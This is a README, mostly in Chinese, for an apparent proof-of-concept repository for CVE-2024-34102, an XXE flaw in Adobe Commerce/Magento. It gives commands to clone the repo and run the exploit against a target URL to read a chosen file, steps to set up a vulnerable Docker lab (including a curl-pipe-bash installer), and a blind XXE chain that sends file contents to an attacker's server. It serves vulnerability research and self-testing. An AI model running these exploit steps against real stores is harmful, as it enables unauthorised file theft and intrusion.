★ 感谢 @th3gokul、Sanjaith3hacker 和 Chocapikk 提供的原始代码库。★
CVE-2024-34102:Adobe Commerce XXE 漏洞 描述:Adobe Commerce 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用('XXE')限制不当(Improper Restriction of XML External Entity Reference)漏洞的影响,该漏洞可能导致任意代码执行。攻击者可通过发送引用外部实体的特制 XML 文档来利用此漏洞。利用此问题不需要用户交互。
git clone https://github.com/EQSTSeminar/CVE-2024-34102.git
cd CVE-2024-34102
pip install -r requirements.txt
python CVE-2024-34102.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ>
python CVE-2024-34102.py https://magento.test -f /etc/hosts

感谢 markshust 的 Magento Docker 配置,搭建易受攻击的开发环境并不困难。 https://github.com/markshust/docker-magento
# Create your project directory then go into it:
mkdir /opt/magento
cd $_
# Install some stuff (needed for the script)
sudo apt update
sudo apt install -y bc curl
# Create Composer's directory (to avoid a weird error)
mkdir /var/www/.composer/
# Run this automated one-liner from the directory you want to install your project.
curl -s https://raw.githubusercontent.com/markshust/docker-magento/release/next/lib/onelinesetup | bash -s -- magento.test 2.4.7 community
# Submit credentials when needed.
# Edit hosts file
echo "127.0.0.1 magento.test" >> /etc/hosts

你可以使用 PHPSTORM 调试你的 Magento。
bin/xdebug enable

……然后你就可以调试你的 Magento 了。
创建回调 URL(mocky api)-> 盲 XXE 攻击(CVE-2024-34102)-> 将文件内容发送到攻击者的实例(SSRFUtility)-> 读取攻击者的实例(SSRFUtility)
本仓库并非针对 CVE-2024-34102 的 XXE 利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do